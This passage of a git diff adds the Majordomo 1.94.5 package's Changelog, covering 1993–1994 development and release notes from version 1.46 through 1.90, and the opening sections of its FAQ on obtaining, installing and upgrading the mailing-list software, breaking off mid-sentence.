+Tue Feb 8 00:11:53 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * Changelog: fixed line breaks + + * config_parse.pl: + added to man page, and moved known_keys nearer to top of file + +Mon Feb 7 22:51:04 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * RELEASE OF 1.62 CONFIG BETA 3 + +Mon Feb 7 20:37:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo.pl, majordomo: + Added code to allow "\ " to escape a space in the majordomo command + line. Also added " " as a valid character in the filename. + +Sun Jan 30 04:31:00 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + Added & to sendmail command that calls the actual list distribution + address. This should help to alleviate some of the memory thrashing + that goes on with resend by colapsing the sendmail -> resend -> + sendmail to the final sendmail since the first sensmail, and the + resend will exit. + +Fri Jan 28 15:48:02 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + added code so that a list is displayed if the person is on it + + * majordomo: increased width of description to 56 + + * majordomo: decreased list output indentation to 2 spaces + + * majordomo: + fixed width of description at 55 characters to prevent lines > 80 characters in list output + + * majordomo, config_parse.pl: + Added code that changes the sender of the welcome message generated in + response to a subscribe command to be the sender of the list that is + subscribed to. This will do some nice things like alerting the list + manager to bogus addresses on the list. It will also supress the + annoying message that I get when I subscribe somebody to the bounces + mailing list. I know that the address I put on bounces is + undeliverable, why do you think I put it on bounces 8-). + + * majordomo: + first cut at geting bounced welcome messages to go to the list owner rather than + majordomo-owner + +Wed Jan 26 01:24:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * Makefile: added deletion of *~ to clean target + + * resend: reformatted comment and reordered test for subject_prefix + +Tue Jan 25 20:58:12 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: logging for create list if successful added + + * majordomo: fixed lack of log for successful writeconfig + + * majordomo: + Added do_digest and ccreate list code (using external programs) to majordomo + +Mon Jan 24 19:45:41 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo.pl: + added local(diff) to is_member per patch from brent chapman + +Sat Jan 22 21:15:52 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fixed spelling typo and rewrote doc string for mungedomain. + + * resend, config_parse.pl: + The subject_prefix keyword is now expanded the same as header, footer, + fronter etc. Doc string has been changed to reflect this. + + * majordomo.pl: + Changed the mechanism by which I got the name of the list. The local + parameter $clean_list is now used rather than $mail'clean_list which + doesn't exit. + + * majordomo.pl: + Changed the order of the parameters to addr_match so that mungedomain + comparison worked properly. It looks for arg2 to be a changed version + of arg1. + + * config_parse.pl, majordomo.cf: + Fixed default archive directory specification to include listname. I + also made it properly pass configuration checks. + + * majordomo.pl, config_parse.pl: + Added code that applies the mungdomain logic to all of the private_ + options. I also changed the documentation to reflect that fact. + + * config_parse.pl: + Changed top explanatory text for config file to make use of - sign + correctly explained. + + Fixed code that eliminates \001's in regexp_arrays. + + Fixed code that interprets - sign escapes in string_arrays. + +Fri Jan 21 02:11:13 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fixed a bug where expansion tokens in the explanatory test were being + expanded out of existance. + + Added fix for an obscure bug dealing with directory specifcation and + $list having a .new at the end. + + Made some commentary more explanatory, and fixed a few errors. + + Added code to allow - signs to have three functions in a here document: + + To embed a blank line in the here document, put a '-' as the first + and ONLY character on the line. + To preserve whitespace at the beginning of a line, put a - on the + line before the whitespace to be preserved + To put a literal '-' at the beginning of a line, double it. + + + +Fri Jan 7 09:01:01 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * RELEASE OF 1.62 CONFIG BETA 2 + +Fri Jan 7 05:23:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + Added code that implements a simple line continuation character. Using + \ as the last non whitespace character on the line causes the + following line to be added to the current command string. One bug, + when the command is printed out, it is all printed on one line, and + not as the sender typed it. + + * resend, config_parse.pl: + Added the ability to prepend a word to the subject line. Uses the + config file parameter subject_prefix. This is useful for those reading + mailing list mail using mailers that can sort messages by subject + only. + +Fri Dec 10 11:51:04 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * RELEASE OF 1.62 CONFIG BETA 1 + +Thu Dec 9 06:54:30 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * regress.t04, regress.t03, regress.t02, regress.t01, regress.e04, + regress.e03, + regress.e02, regress.e01, regress.t05, regress, rcmp: + the started regression suite + + * README.CONFIG: added coment about tailoring %known_values + + * config_parse.pl: + cleaned up some documentaion, and cleaned the code a bit too. + No functional chnages + + * README.CONFIG: first cut of readme file + + * resend: + fixed tail recursion problem that stopped final line from being + \n terminated in message_fronter + + * resend, majordomo, config_parse.pl: + Removed getconfig_password. If they can getthe config file, then they + can get the admin password. Not really smart. + + Added message_fronter option. This text is prepended to the message + body. + + Added a man page describing the config_opts interface somewhat to + config_opts.pl. + +Wed Dec 8 07:07:47 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: enhanced docs for headers and footers + + * resend, config_parse.pl: + Changed blank line equivalence character to be a '-' standing alone on + the line. The inital . played havoc with sendmail, since sendmail + exited once it saw the ., and I didn't want to play around with + doubling the dot etc. Besides, that would have made updating the + config file by editing the one received via mail impossible. + + I also have expansion operating correctly now. The substitution is + being done in resend rather than in the config file code. Also, I + removed an optimization that prevented scanning for ^from lines unless + the -I option was used. Now that this optiminbzation is gone, $sender + processing works fine. + + * Makefile: changes for development installation. + + * majordomo, config_parse.pl: + Normalized all options names. _ is the seperator of choice. Added + message_footer and message_headers keywords. This also required that I + implement a blank line equivalence. A single period sitting alone on a + line creates a blank line in the output. This single period is + recreated by writeconfig. + + A hidden file is now equivelent to noadvertize = /.*/; + + Created the function substitute_values that replaces strings in text + context. + + Added get_config code for do_approve and do_passwd. + + Parens were added to the unlink command to have it do the right thing. + + * majordomo.cf: changes for development path + + * majordomo_version.pl: version id 1.62Dev development + + * resend: + Added code to allow header and footer generation. The headers and + footers are ocuring in the message properly, but the range of textual + substitutions that I wanted isn't the best. The config code is called + and substitution is done before any of the headers from the message + are parsed. Thus things like sender, subject etc are not available to + me for substitution in the header and footer text. + + Solving this problem may require a rewrite of the logic of resend. I + don't relish the thought. Alternatively, I could try to find a way to + do delayed expansion of tokens. Actually this might work. I can expand + the template at the time I actually use the template. Hmm, I'll think + about it tonite. + +Thu Nov 25 07:09:16 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + The keyword subscribe_policy was being incorrectly checked for as + subscribe-policy, thus all closes/auto functions were broken. I have + changed the occurances of subscribe-policy to subscribe_policy to fix + the problem. I also need to reconsile all of the keywords so they use + either a - or an _. This mixed seperator stuff is for the birds. + +Wed Nov 24 00:00:32 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo_version.pl, majordomo.cf, Makefile: + Changes to allow a straight make in the /tools/majordomo-1.62_config + directory. Makefile modified to set up following tree: + + (root is W_BIN below) + root -+-- -- actual majordomo scripts, libraries etc + +-- wrappers -- executable wrappers and wrapper shellscript + +-- Tools -- tools like split archive and digest + +-- bin -- user level tools, approve, bounce etc + +-- man -- man pages + + This is the tree I will be working with. also added make + permissions-shared to minimize anount of code that was to be run as + root. + + Version changed to be 1.62C, and majordomo.cf changed to point to + correct homedir. + +Tue Nov 23 23:51:40 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Changed mk_default_config to use END as the delimiter for array value + specifications so that EOF doen't conflict with the use of EOF in + newconfig. + + * bounce-remind: changed Bounces to bounces. + +Fri Nov 19 17:48:38 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: fixed date stamp on info file + +Thu Nov 18 23:53:35 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Changed mk_default_config so that it is now a two stage process using + an intermediate file, rather than forking and postprocessing the input + using the child process. When forking, I was having all sorts of + problems with the parent's STDIN getting mixed into the child's STDIN + producing garbage. Now an intermedaite file (listname.config.out) is + used to hold the text. The text is then read in, and comment + characters, and a header is added when necessary. This is output + to listname.config, and the temporary file listname.config.out is + removed. + + * Makefile: added existance tests for directories before creating them + + * config_parse.pl: Added support for array and enumerated types. + + Arrays are specified using the + + name << EOZ + value1 + value 2 + EOZ + + syntax. + + Also enhanced the commentary code. + + Added debugging levels and options. + + Added hooks for allowing incremental specification of a config file. + + * Makefile: added install shared and a couple of other targets. + + * majordomo.cf: added safedirs for locations of archives + + * majordomo: + Changed last of config_opt{} references to use ',' instaed of '.'. + + Added support for advertize/noadvertize being array's of regexps. + + Added file handle flushing for REPLY filehandle to try to get around + an intermix problem. + + Added subscribe policy as a token rather than open, closed, or auto + keys. + + Added writeconfig keyword and fucntion that writes the configuration + file out as it is held in the config_opts array. + + Converted cf_bool (old style) to cf_ck_bool. + + * majordomo.pl: + Fixed bug with multiple index concatenation in %config_opts{} with + admin_passwd. Also added a patch from Brent that fixes a filehandle + bug that sometimes truncated the mailing list. + +Thu Nov 11 21:13:48 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: updated to version 1.19 of resend + +Tue Nov 9 20:08:08 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + added administrivia check for subject 'request .* addition', also + changed option parse code cf_check() to cf_check_bool(), and multiple + indicies for $config_opts rather than concatenated string. + +Tue Nov 2 19:23:09 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * approve: 1.62 merger + +Fri Sep 10 04:14:08 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * regress.test, regress.out: moved regress tests to a subdirectory + + * majordomo.cf, majordomo: + added code to put 40 characters of the request subject line into + the reply subject line + + * majordomo: + fix for bug that prevents which from working for private lists + +Thu Sep 9 23:08:05 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fully table driven. With a parse table, known keyword/default value + table, comment table, and subsystem table. A default value beginning + with #! is eval'ed so that custom values can be created. + + There is a new function to create the default config file. The + function could be called at any point since it will preserve the data + values. However, it does totally rewrite the comments in the config + file. + + The private keyword was causing headaches with its positional nature. + It is no longer supported. The file .private is still + available however. Also the password fields are no longer allowed to + specify password files. Their values set the pass phrase or password. + Also, the password in .passwd is always recognized. + + The new_keyword function takes 5 args: + + keyword, default value, parse function, subsystem [comments] + + The comments are optional. + + * majordomo: + Added a select call to make the REPLY file handle flush immediately + when lists are called. This prevents multiple headers when the fork + call in mk_default_config occurs. + + Also changed x-private to private-x, and removed the private keyword. + + Also print reason for dying in eval of majordomo.cf. + + * majordomo.cf: + added umask call to set proper protections on config file + + * resend: + Changed code so that a null value for a config parameter is checked + for rather than a defined value. Added a call to the approve code so + that the approve, admin, and .passwd values are all accepted + for article approval. + + * majordomo: added chdir to move back to after index command + + * majordomo.pl, majordomo, config_parse.pl: + Basic fully table driven config file, with interface + +Sun Sep 5 07:54:06 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo, config_parse.pl: + performance enhancements, passwd detainting secured, + and advertize/noadvertize operate against pure machine address now + +Fri Sep 3 19:52:25 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend, majordomo, config_parse.pl, approve: + patched approve to accept from stdin, fixed buglet with grab_word + in config_parse.pl, and added date_info to default template + + * majordomo.pl, majordomo.cf, majordomo: + removed in favor of config file, removed debugging comments + + * resend, regress.test, majordomo.pl, majordomo.cf, majordomo, Makefile: + merge of config files and version 1.60 + + * resend, majordomo.pl, majordomo: merged localisms with 1.60 + + * resend, regress.test, majordomo.pl, majordomo.cf, majordomo, + config_parse.pl, Makefile: + implementation of configuration file, mungedomain, advertize/noadvertize + + * sample.cf, resend.README, resend, majordomo.pl, majordomo, approve, + Changes, + majordomo_version.pl: + version 1.60 of majordomo: additonal helps for moderated lists, + and fix for verion id bug + + * majordomo_version.pl: Initial revision + + * Manifest: + version 1.60 of majordomo: additonal helps for moderated lists, + and fix for verion id bug + +Wed Sep 1 20:37:49 1993 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * archive.pl: Contributed archive program + + * wrapper.sh, resend, request-answer, regress.test, new-list, medit, + majordomo.pl, + majordomo.cf, majordomo, bounce-remind, archive, Makefile: + Added code that checked to make sure that majordomo.cf eval'led correctly. + Also added code to date the new info file. + +Changes since release 1.62 +========================== + +New in version 1.90 are: + +The changes in majordomo are: + + All options to majordomo can be set remotely using a + configuration file. This includes + setting the subscribe policy to open, closed or auto, and + stripping comments from addresses. + + The ability to hide a list when a "lists" command is issued. + + A 50 character description can be shown when using the "lists" + command. + + The info file can be dated when it is installed. This is useful if the + info file is being served using a method besides majordomo + (e.g. finger, gopher, www). + + The operations get, index, info, which, who can each be made + private individually. If they are private, access to + the command is restricted to people on the list. + + Addresses of the form user@host.dom.ain can be made to compare + equivalent to user@dom.ain. This works for subscribe, + unsubscribe, and all private options. + + The sender name (in the envelope address) can be set remotely + on a per list basis. + + Command lines can be continued by using a \ + at the end of the line. + + Spaces can be preserved in command line arguments by + preceding the space with a \. Thus files with spaces + in their names can be retrieved. + + + New commands to manipulate configuration files have been + added: + config + + retrieve a self-documenting configuration file for + the list . The can be the password + contained in the file .passwd or the + admin_password in the configuration file. + + Think of it as the info command with a password. I + cribbed enough code from info for it. + + newconfig + + EOF + + Validates and installs a new configuration file. The + config file is expected to be a complete config file + as returned by "config". Incremental changing of the + config file is not yet supported. As soon as the + config file is validated and installed its settings + are available for use. This is useful to remember if + you have multiple commands in your mail message since + they will be subject to the settings of the new config + file. If there is an error in the config file + (incorrect value...), the config file will not be + accepted and the error message identifying the problem + line(s) will be returned to the sender. Buglet: only + the error lines are returned to the sender not the + entire config file. + + (does this remind you of "newinfo"; it should, I + shamelessly stole the newinfo code to make it into + newconfig). + + writeconfig + + Write a new config in standard form. All of the config + file documentation is optional. Only the keywords and + values are necessary. If a config file, stripped of + all comments is installed using newconfig, that is + what is returned by config. Writeconfig forces a + rewrite of the config file with all comments and + default values in place. It is useful to use after an + upgrade of majordomo since it will add the new + keywords for people to change. It also updates the + documentation in the file if that has changed. + + A new command to generate a digest has been added: + + mkdigest + + This will force a digest for the specified list to be created. + +With resend + + Most of resend's options can be controlled remotely using a + configuration file including: + moderation status + approval password + enabling administrivia checks + debugging + setting the maximum size for a message (in bytes) + setting the message precedence + purging received lines + setting a reply-to header + setting the list of files that determines valid posting + addresses + setting the sender envelope name + + A number of features have been added to resend that are also + able to be controlled remotely. + + Arbitrary headers can be added to outgoing messages + Arbitrary text can be added before the body of an + outgoing message. + Arbitrary text can be added at the end of the body of + an outgoing message. + + An arbitrary word can be prefixed to the subject line + to allow easier scanning of list mail + + +With digest + + Brent Chapman's digest program has been integrated with majordomo. + As with the rest of the programs, the config file can be used to + set all of its parameters including: + + issue and volume numbers + digest name + the size when a digest is automatically created + the header and trailer for the digest + the reply-to address can be set + the sender name can be set + + In addition to the above, the config file version allows arbitrary + headers to be added to the outgoing digest. + + + +Changes since release 1.60 +========================== + +Fixed a major bug in "majordomo" where a file wasn't properly being +closed during an "unsubscribe" operation; this would cause (on some +platforms, under some circumstances) multiple "unsubscribe" operations +contained in a single message to Majordomo to fail silently. + +Added "Doc" directory, with documentation (well, more documentation +than was there previously, anyway) for Majordomo. Included in the +directory is the original paper on Majordomo and a file of instructions +and explanations about Majordomo for new list owners. + +Added "Doc/samples" directory of sample list configuration files; thanks +to Vince Skahan . + +Added "Doc/man" directory of online manual pages. Added "majordomo.8" +and "approve.1" as the first entries; thanks to Jim Duncan . + +Fixed a major bug in "approve" that was keeping it from working on standard +input. + +Fixed a minor bug in "approve" that was causing an extra blank line to be +added after each "approve" line generated. + +Changes since release 1.56 +========================== + +"resend" will now look for an "Approved:" line as the first line of the +body, in addition to as a header. This makes it easier for folks who +can't insert headers with their mailer to generate "Approved:" lines. + +"approve" will now approve messages that have been bounced by "resend", +in addition to "request for approval" messages generated by Majordomo. +This means that you can now easily set up a moderated mailing list by +specifying the "-A" and "-a " arguments to "resend", which will +cause "resend" to send messages without a valid "Approved:" line to +the list owner, who can then use "approve" to OK the messages that they +want to be posted. + +Added support for a "majordomo_version.pl" file, which now lists the +official version number for a particular release of the Majordomo package. +A "help" command will now return this number, reflecting the version number +of the entire package, rather than the version number of the "majordomo" +PERL file (which is what "help" returned before). + +Fixed minor bug where list names were not always being converted to +lower case. Thanks to Roger Klorese . + +Changes since release 1.54 +========================== + +Added "--" as the first line of responses generated by Majordomo. This +keeps bounces of Majordomo-generated messages from being reprocessed as +input if some broken mailer bounces them back to Majordomo instead of +Majordomo-Owner. + +Added check to ensure that an address really is subscribed to a list +before attempting to process an "unsubscribe" request for that address. +This should stop the generation of "approve unsubscribe" requests for +addresses that aren't really on the list anyway. + +Added comments to "sample.cf" file to document all variables set there. + +Added "get" and "index" commands to access files related to a list. +Courtesy of Alan Millar and +Paul Haas . + +Added "-I" (restrict incoming messages to list members) and "-r" (add a +"Reply-To:" field) flags to "resend"; see "resend.README" for details. +Courtesy of Jon Luini . + +Renamed "sendmail" subroutine in "resend" to "resend_sendmail", to avoid +conflict with "sendmail" subroutine in "majordomo.pl" file. This should +put an end to the "Malformed command links" warnings from "resend". + +Added "-a" (set an "approval" password) and "-A" (require approval of +all messages; i.e., make this a moderated mailing list) flags to "resend"; +see "resend.README" for details. + +Added a comment to "README" about running setuid to a sendmail "trusted" +user. + +Added "W_MAJORDOMO_CF" environment variable support to "Makefile" and +"wrapper.c", so that this can be hard-coded into "wrapper", rather than +inheireted from the environment of "wrapper" (which is a security problem). + +Changed "request-answer" by expanding recording to include info about +the "unsubscribe" command. + +Changes since release 1.46 +========================== + +Updated README file. + +Removed MH dependencies from "approve"; it now works on stdin or file +names passed as arguments. + +Changed "approve" from using multiple ~/.passwd/* files to using a single +file ~/.majordomo. See the comments at the start of "approve" for more info. + +Changed "bounce" from using multiple ~/.passwd/* files to using a single +file ~/.majordomo. See the comments at the start of "bounce" for more info. + +Changes in 1.46 +=============== +NOTE WELL: existance of a ".private" file used to mean the same thing +as existance of a ".closed" file. ".private" now means something +different (see below). If you've got lists that are currently ".private", +you should make them ".closed" before you install this version of Majordomo. + +Filename changes (mostly to accomodate 14-character limits): + bounce-reminder bounce-remind + majordomo.cf.sample sample.cf + request-recording request-answer + mailstuff.pl majordomo.pl + +Code reorganization; moved must support functions to "majordomo.pl". + +Fixed log locking bug; log now locked before each write. + +Fixed truncation bug caused by indiscriminate "chop"; now only chops +trailing newlines. + +Both "subscribe" and "unsubscribe" now check to see if a requesting +address looks like a real name rather than an email address (i.e., if +the user issued a LISTSERV-style "subscribe " command, +rather than a Majordomo-style "subscribe []" command). If +it doesn't look like an email address, it squawks to the user and punts +the request. + +Majordomo now slightly more liberal in accepting list names; it will now +take "", "list@site", and "" as synonyms for "list". + +Majordomo now recognizes any line beginning with a "-" as equivalent +to an "end" command, so it won't process automatically-added signatures +any more. + +All requests to a given list can now be automatically approved by creating +a file "$listdir/.auto". The list owner still gets the standard +"SUBSCRIBE" and "UNSUBSCRIBE" advisories. + +Responses to "info" requests now include a "last updated " line +at the end, telling when the ".info" file was last updated. If +you want the date printed and labelled in a particular timezone (GMT, +say), you need to set that timezone in your TZ environment variable; +something like this in your majordomo.cf file works well: + $ENV{"TZ"} = "GMT"; + +Which mailer to use, and what arguments to pass it, can now be configured +in the .cf file. You have to use a mailer that will accept the header along +with the text of the message (such as sendmail). To set your own mailer, +set the "$mailer" variable in the .cf file to the string to use to invoke +the mailer. The default, if none is specified, is: + "/usr/lib/sendmail -f\$sender \$to" +You can use "\$sender", "\$to", "\$from", and/or "\$subject" in your command. +Make sure you use the "\", so that these variables will be expanded later, +rather than when the .cf file is read. + +The "which" command now does a case-insensitive substring match, rather +than an address match. Any address which matches the argument to "which" +is included in the output to "which". I.e., "which brent" will now match +"brent", "Brent@GreatCircle.COM", "Chapman@GreatCircle.COM (Brent Chapman)", +etc. + +You can now tell Majordomo, on a per-list basis, to strip comments +from addresses before writing them to the list file by creating a +file "$listdir/.strip". For example, in both +"Brent@GreatCircle.COM (Brent Chapman)" and +"Brent Chapman ", "Brent Chapman" is a comment, +and the address can be simplified to "brent@greatcircle.com". + +You can now tell Majordomo, on a per-list basis, that a list is "private" +by creating a file "$listdir/.private". If such a file exists, +then only members of the list can access the list with "who" and "which" +commands. + +$Header: /sources/cvsrepos/majordomo/Changelog,v 1.23 1997/08/27 15:56:13 cwilson Exp $ + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/FAQ b/update/scripts/packages/majordomo-1.94.5/Doc/FAQ new file mode 100644 index 0000000..e18df62 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/FAQ @@ -0,0 +1,1350 @@ +Version: $Id: FAQ,v 1.8 2000/01/13 12:54:22 cwilson Exp $ +URL: http://www.visi.com/~barr/majordomo-faq.html +Archive-Name: mail/majordomo-faq +Posting-Frequency: monthly + +Note: This FAQ has been recently updated to be exclusively for Majordomo +1.94 and up. + +Table of Contents: + + 1. What is Majordomo and how can I get it? + o 1.1 - What is Majordomo? + o 1.2 - Where do I get Majordomo? + o 1.3 - How do I install it? + o 1.4 - How do I upgrade from an earlier release? + o 1.5 - Where do I report bugs or get help with Majordomo? + o 1.6 - Which is better, Majordomo or LISTSERV? + o 1.7 - How can I access Majordomo via the Web? + o 1.8 - Is Majordomo Y2K (Year 2000) compliant? + 2. Problems setting up Majordomo + o 2.1 - What are the proper permissions and ownership of all + Majordomo files and directories? + o 2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. + Operation not permitted" + o 2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission + denied" + o 2.4 - I get "Unknown mailer error" when majordomo runs + o 2.5 - I get an error "insecure usage" from the wrapper + o 2.6 - I get "majordomo: No such file or directory" from the + wrapper + o 2.7 - I get an error "Can't locate majordomo.pl" + o 2.8 - I told my majordomo.cf where to archive the list, why isn't + it working? + o 2.9 - config-test can't seem to find ctime.pl or resend can't find + getopts.pl + o 2.10 - A list is visible via lists, but can't subscribe or 'get' + files + o 2.11 - I get "sh: wrapper not available for sendmail programs" + o 2.12 - I get "aliasing/forwarding loop broken" + 3. Setting up mailing lists and aliases + o 3.1 - How do I direct bounces to the right address? + o 3.2 - Semi-automated handling of bounced mail + o 3.3 - What's this Owner-List and List-Owner stuff? Why both? + o 3.4 - How should I configure resend for Reply-To headers? + o 3.5 - How can I hide lists so they can't be viewed by 'lists'? + o 3.6 - How can I restrict a list such that only subscribers can + send mail to the list? + o 3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner? + o 3.8 - What are all these different passwords? + o 3.9 - How do I tell majordomo to handle "get"-ing of binary files? + o 3.10 - How do I set up a moderated list? How do I approve + messages? + o 3.11 - How do I set up a digested version of a list? + o 3.12 - How do I setup virtual majordomo domains? + o 3.13 - How can I stop people from using my mailing list to spam my + subscribers? + 4. Mailer and list administration problems + o 4.1 - Address with blanks are being treated separately + o 4.2 - Why aren't my digests going out? + o 4.3 - Why do I get duplicate mail sent to the list? + o 4.4 - How do I gate my list to and/or from a newsgroup? + o 4.5 - How can I improve Majordomo's performance? + o 4.6 - How can I handle X.400 addresses? + o 4.7 - Why is the Subject of my messages missing? + o 4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? + How do I stop this? + o 4.9 - My list configuration doesn't seem to be working. + o 4.10 - How do I set it up so that the originator of a message + doesn't get a copy of his/her own message back? + o 4.11 - With Smail or Exim, users subscribing to a list sometimes + get mail sent before they subscribed + o 4.12 - Majordomo doesn't seem to work with sendmail 8.9 + o 4.13 - I can't get Majordomo to work with RedHat Linux + +This FAQ is Copyright 1996 by David Barr and The Ohio State University. This +document may be reproduced, so long as it is kept in its entirety and in its +original format. + +Credits: +This FAQ originally written by Vincent D. Skahan. Many thanks to the members +of the majordomo-workers and majordomo-users mailing lists for many of the +questions and answers found in this FAQ. Thanks to fen@comedia.com (Fen +Labalme) for getting an HTML version started. + +You can get an HTML version of this FAQ on the World Wide Web at +http://www.visi.com/~barr/majordomo-faq.html. You can request a copy by +email by sending a message to mail-server@rtfm.mit.edu, with the following +text in the body: + +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions + +If you have any questions or submissions regarding this FAQ, send them to +barr@visi.com (David Barr). + + ------------------------------------------------------------------------ + +Section 1: What is Majordomo and how can I get it? + +1.1 - What is Majordomo? + +Majordomo is a program which automates the management of Internet mailing +lists. Commands are sent to Majordomo via electronic mail to handle all +aspects of list maintenance. Once a list is set up, virtually all operations +can be performed remotely, requiring no intervention upon the postmaster of +the list site. + +See the main Majordomo web page at: +http://www.greatcircle.com/majordomo/ + +Majordomo controls a list of addresses for some mail transport system (like +sendmail or smail) to handle. Majordomo itself performs no mail delivery +(though it has scripts to format and archive messages). + + majordomo - n: a person who speaks, makes arrangements, or takes + charge for another. From latin "major domus" - "master of the + house". + +Majordomo is written in Perl. It will work with Perl 4.036 or Perl 5.002 or +greater. It will not work with Perl 5.001!!!. It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. You must upgrade to version 1.94.3 in order for +it to work with Perl 5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due to a bug in +Perl with respect to regular expressions. Use Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions will +likely be Perl 5 only. + +RedHat 5.2 is unfortunately shipping a prerelease version of Perl +("5.004m4") with some of their Linux distributions. This version is buggy +and won't work with Majordomo (you will get "Unknown mailer error 9" +errors). Download an install the 5.004 or 5.005 RPM instead, or download and +updated RPM from updates.redhat.com. Many people have been having problems +with Majordomo on DEC OSF/1 AXP systems. Apparently Perl on the Alphas is +not as stable as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make sure you are +running the very latest version of Perl (version 5.002 is known to work). +There haven't been recent reports in this area, so it's assumed that later +versions also work. + +There have also been reported problems with the native compiler for AIX +3.2.5. Perl compiled with that compiler will crash when running Majordomo +(even though it passes all the regression tests), however if you compile +Perl with gcc it will work. + +Majordomo was developed under UNIX based systems, but could be made to work +on others. If you can get Perl to compile and run cleanly on your system, +and can send Internet mail by piping or calling an external program (and +that external program reads its list of recipients from a plain text file), +you can probably get Majordomo to work on a wide variety of UNIX-based and +non-UNIX based systems. There is no known port of Majordomo to Windows NT, +Win95 or Mac. For more information, see the comp.os.msdos.mail-news FAQ. At +last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that helpful +for anyone porting Majordomo to NT. + +Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, editable + remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + * Supports confirmation of subscriptions (to protect against forged + subscription requests). + * List filters + +See other references throughout this FAQ for some further notes on using +these packages. + +1.2 - Where do I get Majordomo? + +Via the Web at: +http://www.greatcircle.com/majordomo/ Via anonymous FTP at: +ftp://ftp.greatcircle.com/pub/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior. + +If you don't have Perl, you can get it from: + +http://www.perl.com/perl/ + +Use that link for more information about Perl, too. The FTPMAIL package can +be found in ftp://src.doc.ic.ac.uk/packages/ftpmail or any comp.sources.misc +archive (volume 37). + +Majordomo 2 is currently being developed by Jason Tibbits. Currently it's +"alpha" quality. Join the majordomo-workers list (see below) if you want to +use this release. You can find out how to get Majordomo 2, as well as +information about this release at http://www.hpc.uh.edu/majordomo/ + +1.3 - How do I install it? + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common problems. +This FAQ is meant to be a supplement to Majordomo's documentation, not a +replacement for it. If you have any questions that this FAQ doesn't cover, +chances are that it is covered in the documentation in the Majordomo +distribution. For anyone who is going to run a list, you must read +Doc/list-owner-info before trying to do anything. If you don't have access +to the system where your list is being run, the Majordomo maintainer who set +up your list should have sent it to you. Bug him if he didn't, or download +it from the Majordomo distribution. + +If you have permission problems unpacking the distribution, try using the +'o' flag to tar to ignore user/group information. + +Although Majordomo is written in Perl, it does have one component written in +C that must be compiled. This 'wrapper' program runs "setuid" and ensures +that all Majordomo functions operate with the proper permissions. You will +need root access to install this program with the correct privileges. + +Majordomo interfaces to the mail system (sendmail, exim, etc) through +aliases. Adding aliases is generally a root-bound process. However, on some +systems the process can be delegated to a separate file under your control. + +Once you get past the above two requirements, it is possible to maintain +Majordomo lists without root access. At best, your local sysadmin would only +be bothered twice -- once for the installation, and once for designating a +separate alias file for your use. + +Majordomo 1.x is designed to work with sendmail, however will work with +other UNIX-based mailers. For more information on setting up Majordomo with +other mailers, see the following pages: + + * qmail - ftp://ftp.eyrie.org/pub/software/majordomo/mjqmail + * exim - http://www.netmaster.ca/exim/majordomo.html + * Netscape Messaging Server 2.x and 3.x - + http://interstroom.nl/docs/nsmajordomo + * Cyrus IMAP - see "Sendmail can't mail to a file or pipe..." at + http://andrew2.andrew.cmu.edu/cyrus/imapd/install-FAQ.html#sendmail. + This is necessary because Majordomo works by delivering mail via pipe. + +1.4 - How do I upgrade from an earlier release? + +Be sure to browse the "Changelog" file to get an idea what has changed. +There currently is no canned set of instructions for upgrading from an +earlier release. The most straightforward method is to simply install the +current release in a different directory, (with the same list/archive/digest +directories) and change the mail aliases for each list to use the new +Majordomo scripts as soon as you feel comfortable with the new setup. + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some other new +variables too. You may want to update the list .config files so they contain +any new variables found in 